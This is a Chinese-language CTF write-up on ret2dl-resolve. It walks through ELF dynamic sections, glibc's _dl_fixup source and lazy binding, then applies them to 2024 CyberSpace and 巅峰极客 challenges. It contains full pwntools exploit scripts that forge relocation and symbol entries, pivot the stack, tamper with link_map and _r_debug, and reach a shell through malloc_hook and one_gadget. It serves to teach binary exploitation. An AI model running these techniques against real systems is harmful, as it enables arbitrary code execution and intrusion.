dl_reslove从入门pwn到巅峰极客
默文 发表于 浙江 历史精选 1347浏览 · 2024-09-06 15:01

dl_reslove

前言

手法适合有溢出但是没有输出函数泄露的情况下

ELF下的动态链接

在linux下,动态链接的程序要调用其他链接库的函数,就要在程序加载的时候动态链接,linux中都叫做GOT表。

调用库函数的时候,会有jmp [addr]指令,这里的addr就是got表地址

linux中调用库函数流程

这是一个例子,后面会分析如何使用dl_reslove攻击

用IDA反汇编出来

这里setbuf、scanf、exit都是libc.so.6中的标准库函数,选择scanf调用分析

先call ___isoc99_scanf

然后jmp [got表地址]完成函数调用

上调试看看调用的一个过程

可以发现程序进入call ___isoc99_scanf之后并没有直接执行scanf函数,而是调用了_dl_runtime_resolve_xsavec,这是因为程序加载的时候使用延迟绑定机制,只有等这个函数被调用了,才会把函数地址放入got表中。

再没有进入_dl_runtime_resolve_xsavec之前,push了两个参数到栈上,这里的1就是偏移,qword ptr [rip + 0x22aa]就是linkmap,之后详细讲,之后会调用_dl_runtime_resolve_xsavec

_dl_runtime_resolve_xsavec函数

会根据这两个参数,获取到scanf函数在内存中的实际地址,然后放到相应的got表中,并调用

elf格式section
readelf -d test1 #使用readelf查看或者,IDA查看

.dynamic

IDA中查看更方便一点,所有的linux程序的dynamic节都基本上是这样的

.dynamic节包含与动态链接相关的信息,这些信息用于在程序运行时连接所需的共享库

最关键的三个条目DT_STRTAB, DT_SYMTAB, DT_JMPREL

DT_STRTAB

<5, 400480h>,5DT_STRTAB 的标识符。400480h指向.dynstr

.dynstr

0x400480处,是一个字符串表,包含动态链接所需的字符串,在DT_SYMTAB找符号表的时候使用偏移调用这里的字符串

DT_SYMTAB

<6, 4003A8h>,6DT_SYMTAB 的标识符。4003A8h指向.dynsym

每个条目是一个结构体,大小为0x18,

typedef struct elf64_sym {
  Elf64_Word st_name;   
    /* 该符号的名字在字符串表中的起始下标  
        通过IDA显示,不难发现,两个地址相减,这里就是.dynstr中的偏移
    */
  unsigned char st_info;    /* 该符号的类型以及作用域信息 */
  unsigned char st_other;   /* 暂未使用 */
  Elf64_Half st_shndx;      /* 该符号所在的 section 的下标,如 .data 节为 2 */
  Elf64_Addr st_value;      /* 该符号的值在该 section 中的偏移 */
  Elf64_Xword st_size;      /* 该符号的大小 */
} Elf64_Sym;

DT_JMPREL

<17h, 4005C8h>,17DT_JMPREL 的标识符。4005C8指向.rel.plt

这里是重定位表,也是一个结构体,大小0x18

typedef struct
{
  Elf64_Addr    r_offset;               /* got表地址*/
  Elf64_Xword   r_info;               
/*前 32位用于表示重定位类型(类似 EI_CLASS),后 32 位用于表示符号表条目在符号表DT_SYMTAB中的索引。*/
  Elf64_Sxword  r_addend;               /* 附加信息 */
} Elf64_Rela;

小结:DT_JMPREL中通过偏移定位到DT_SYMTAB,DT_SYMTAB第一个参数是DT_STRTAB中的偏移,三者呈现包含关系

_dl_runtime_resolve_xsavec也是主要通过这三个节来找到库函数真实地址的

_dl_runtime_resolve源码在glibc-2.23\sysdeps\x86_64\dl-trampoline.S通过汇编写的

第一个参数push qword ptr [rip + 0x22aa]是一个linkmap的指针,通过linkmap可以访问到前面讲的section

比如0x403178就是前面的DT_SYMTAB

LOAD:0000000000403178 06 00 00 00 00 00 00 00 A8 03Elf64_Dyn <6, 4003A8h>              
//; DT_SYMTAB

第二个参数就是当前导入函数在.rel.plt中的偏移,这里调用导入scanf,下标为1,可以翻到上面看是对应的。

_dl_runtime_resolve主要为dl_fixup函数做初始化操作,_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的。

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
       ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
       struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    /*通过linkmap和固定偏移取出symtab*/
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    /*通过linkmap和固定偏移取出strtab*/
  const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
   /*通过参数 reloc_arg 计算重定位入口,这里的 DT_JMPREL 即 .rel.plt,reloc_offset 即 reloc_arg 
    前面说reloc_arg是rel.plt中的下表,比如我这里导入scanf,这里reloc就通过reloc_arg+linkmap偏移拿到
    Elf64_Rela <4032E8h, 400000007h, 0>     ; R_X86_64_JUMP_SLOT __isoc99_scanf
   */
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    /*
     rel.plt条目中是包含symtab偏移的,就可以取出
     Elf64_Sym <offset aIsoc99Scanf - offset unk_400480, 12h, 0, 0, 0, 0> ; "__isoc99_scanf"
    */
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    /*rel_addr通过rel.plt中的偏移+基地址拿到got表的真实地址*/
    /*可以发现上面的各种参数都没有检查,就可以篡改利用*/
  lookup_t result;//用于存储符号查找的结果
  DL_FIXUP_VALUE_TYPE value;// 用于存储最终的重定位值

  /* 确保重定位条目类型是 PLT 重定位类型*/
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* 符号查找 */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
     // 根据 strtab+sym->st_name 在字符串表中找到函数名,然后进行符号查找获取 libc 基址 result
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

     // 将要解析的函数的偏移地址加上 libc 基址,得到函数的实际地址
      value = DL_FIXUP_MAKE_VALUE (result,
                   sym ? (LOOKUP_VALUE_ADDRESS (result)
                      + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* 重新定位的加法。 */
  value = elf_machine_plt_value (l, reloc, value);
// 将已经解析完成的函数地址写入相应的 GOT 表中
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));


  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
_dl_runtime_resolve总结
  1. 符号表和字符串表获取
    • link_map 结构体中,通过固定的偏移量获取符号表 (symtab) 和字符串表 (strtab) 的地址。
  2. 重定位入口计算
    • DT_JMPREL 获取重定位表的基地址,并加上传入的 reloc_arg 计算得到具体的重定位条目 (reloc),这是 .rel.plt 区段中的条目。
  3. 符号查找
    • reloc 的信息中获取符号表的偏移地址,并通过符号表中的符号信息 (sym) 查找具体的符号。
    • 如果符号的可见性允许,进行符号查找,获取到符号的实际地址。
    • 使用 _dl_lookup_symbol_x 函数查找符号的实际地址。
  4. 修正符号地址
    • 根据查找到的符号地址,将其与 GOT中的地址进行结合,得到最终的函数地址。
  5. 写入 GOT 表
    • 将解析得到的函数地址写入相应的 GOT 表项。
  6. 最终修正
    • 使用 elf_machine_fixup_plt 函数对 GOT 表项进行最终的修正。
  7. 错误处理
    • 通过 GLRO(dl_bind_not) 检查是否需要处理绑定失败的情况。

ret2dl-resolve 利用

传入_dl_runtime_resolve一共是两个参数,一个linkmap,一个reloc_arg偏移,先从简单的reloc_arg偏移攻击

reloc_arg攻击

分为两种情况,一种是_DYNAMIC可写,直接改STRTAB的偏移就能就能控制got表上的导入函数

一种是_DYNAMIC不可写,需要控制reloc_arg偏移打到bss段上,然后在bss段上伪造DT_JMPREL、DT_SYMTAB、DT_STRTAB

_DYNAMIC可写

改情况在RELRO未开启的时候存在

还是前面的例子,有任意地址的8字节改,但是没有输出函数,没法泄露,并且调用完使用exit退出,

这里exit的参数很怪,可以执行到sh命令

因为_DYNAMIC可写,直接改DT_SYMTAB偏移指向system

第一次输入_DYNAMIC上的STRTAB,然后算出exit字符串的偏移为0x3D,改为system_addr-0x3d

因为字符串表被篡改exit用的是'system',所以会导入system函数到exit@got中

from pwn import *

FILENAME='../test1'
p=process(FILENAME)
elf=ELF(FILENAME)

dynamic=elf.get_section_by_name('.dynamic').header.sh_addr
print(hex(dynamic))
STRTABLE=dynamic+0x90+0x8
p.sendline(f'{STRTABLE:x}')

STR_SYSTEM=0x403320
p.sendline(f'{STR_SYSTEM-0x3D:x}')
p.interactive()
_DYNAMIC不可写

2024CyberSpaceez-rop

有一个栈溢出,但是没有输出函数,无法泄露地址

通过ROP可以完成栈迁移,并且执行多条指令,可以在bss段上伪造三条节

然后引用plt的时候直接跳过push n ,这里n自己伪造指向bss段上伪造的数据,伪造的过程还是自己动手实现能增加理解,伪造过程不讲解,这里展示伪造完成的结果

利用ROP直接跳过plt的push操作,直接jmp,提前在bss段上写入0x2e3的偏移,这里的偏移就是DT_JMPREL的条目下标

0x4005f0+0x18*2e3=0x404B38,0x404b38处放着我伪造的Elf64_Rela结构体

Elf64_Rela第一个参数got的地址,第二个参数写7就行(导入函数的标识符),第三个参数还记得吗,是STRSYM的下标

这里我伪造了0x30e,通过计算0x4003D0+0x18*0x30e=0x404D20

0x404D20就是我伪造Elf64_Sym结构体处,第一个参数是STRTAB的字符串在STRTAB中的偏移,第二个写0x12(导入函数),其他全写0

来看看这个字符串偏移指向的是什么,0x4004C0+0x4a50=0x404F10

指向的是system,通过伪造,然后就可以导入system函数地址到setbuf@got中。

from pwn import *


FILENAME='../chall'
p=process(FILENAME)
elf=ELF(FILENAME)

call_fgets=0x40119A
rsi_ret=0x401165
movRdiRsi_ret=0x40115A
bss=0x405000-0x100
leave_ret=0x4011B6
fake_strAddr=bss
fake_symAddr=fake_strAddr-0x200
fake_jmpAddr=fake_symAddr-0x200
STR_offset=0x4a50
mygot=0x404000
JMP_offset=0x30D+1
reloc_arg=0x2e3

success('fake_strAddr '+hex(fake_strAddr))
success('fake_symAddr '+hex(fake_symAddr))
success('fake_jmpAddr '+hex(fake_jmpAddr))

payload=b'a'*(0x60)+p64(fake_strAddr+0x60)+p64(call_fgets)
p.sendline(payload)


payload=p64(fake_symAddr+0x60)+p64(call_fgets)+b'system\x00\x00/bin//sh'
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_strAddr)+p64(leave_ret)
p.sendline(payload)


payload=p64(fake_jmpAddr+0x60)+p64(call_fgets)
payload+=p64(0)*2+p32(STR_offset)+p32(0x12)+p64(0)*2
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_symAddr)+p64(leave_ret)
p.sendline(payload)


payload=p64(rsi_ret)+p64(fake_strAddr+0x18)+p64(movRdiRsi_ret)+p64(0x40103B)+p64(reloc_arg)
payload+=p64(0)*2+p64(mygot)+p32(7)+p32(JMP_offset)+p64(0)
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_jmpAddr-0x8)+p64(leave_ret)
p.sendline(payload)


p.interactive()
linkmap攻击

通过linkmap攻击也能完成导入函数在got表上的偏移,比如在exit处调用,但是exit函数放到read@got

并且完成导入任意函数到任意got处,

前面都是基于程序上的溢出攻击,linkmap基于在libcld上的地址篡改攻击

2024巅峰极客easyblind

init的时候执行func函数,申请的大chunklibc上面,然后libc上固定偏移的一个单字节任意改

main函数包括func后面会执行exit,

dl_fixup中rel_addr是指向got表的真实地址,是通过linkmap->l_addr取出+rel.plt中的偏移的

void const rel_addr = (void )(l->l_addr + reloc->r_offset);

这里的rax是从[r10]取出的,这里的r10就是linkmap中的

加上之后取出got表真实地址,后面会通过符号找到库函数地址,写入的就是这个got地址,这里地址是没有检查的,如果通过篡改会导致找到的库函数放到任意got表处

篡改linkmap的上的偏移让write@got改到exit,不让程序退出就能完成无限循环

const char strtab = (const void ) D_PTR (l, l_info[DT_STRTAB]);

STRTAB也是从linkmap上去的,也可以篡改,但是现在没有地址而且每次循环都要使用,不能直接改到偏差很大的地方

IDA显示的dynamic0X78结尾的是STRTAB

STRTAB的结构,开始是类型,后面是存放字符串表的地址

DT_DEBUG存放的地址使用的是_r_debug这个地址是在ld上

这样就可以篡改在_r_debug上写入字符串符号,然后再STRTAB修改为DT_DEBUG,这样就利用单字节篡改,可以导入任意函数

我们现在是没地址的,通过stdout篡改就可以泄露地址,但是现在stdout也没地址,就需要刷新流,可以改exit@got为_IO_flush_all刷新,然后泄露地址,最后通过malloc_hook打rop完成

from pwn import *

u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
dir  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)

FILENAME='../pwn11'
elf=ELF(FILENAME)
libc = elf.libc

p = process(FILENAME)

def mysend(offset,value):
    if(offset>=0x10):offset-=0x10
    p.send(p64(offset))
    p.send(p8(value))
    p.recvuntil(b'WORLD\x00',timeout=1)
def mysendALL(offset,value):
    for i in range(len(value)):
        mysend(offset+i,value[i])

link_map = 0x26a190
stdout=0x22e6a0
r_debug=0x26a160
STR_write=0x3e
malloc_hook=0x22db70
realloc_hook=malloc_hook-0x8
mysend(1,0x18)
mysend(link_map,0x18)
mysendALL(stdout,p16(0x1887))
mysend(stdout+0x28,0x18)
mysendALL(r_debug+STR_write,b'_IO_flush_all\x00')

mysend(link_map+0x68,0XB8)
mysend(stdout+0x20,0x8)

libc_add=u64_fix(p)
libcbase=libc_add-0x1ec980
dir('libcbase')


mysend(link_map+0x68,0x78)
mysendALL(r_debug+STR_write,b'malloc\x00')

one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[2]
gg=0x0000000000152785+2+libcbase
gg2=0x0000000000092eda+libcbase
mmap=libcbase-0x41000
dir('execve')
dir('gg')
mysendALL(malloc_hook,p64(gg)[:6])
mysendALL(0x38+0x10,p64(mmap)[:6])
mysendALL(0x20,p64(gg2)[:6])
mysendALL(0x58,p64(execve)[:6])

mysend(link_map+0x68,0XB8)

p.interactive()
附件:
0 条评论
某人
表情
可输入 255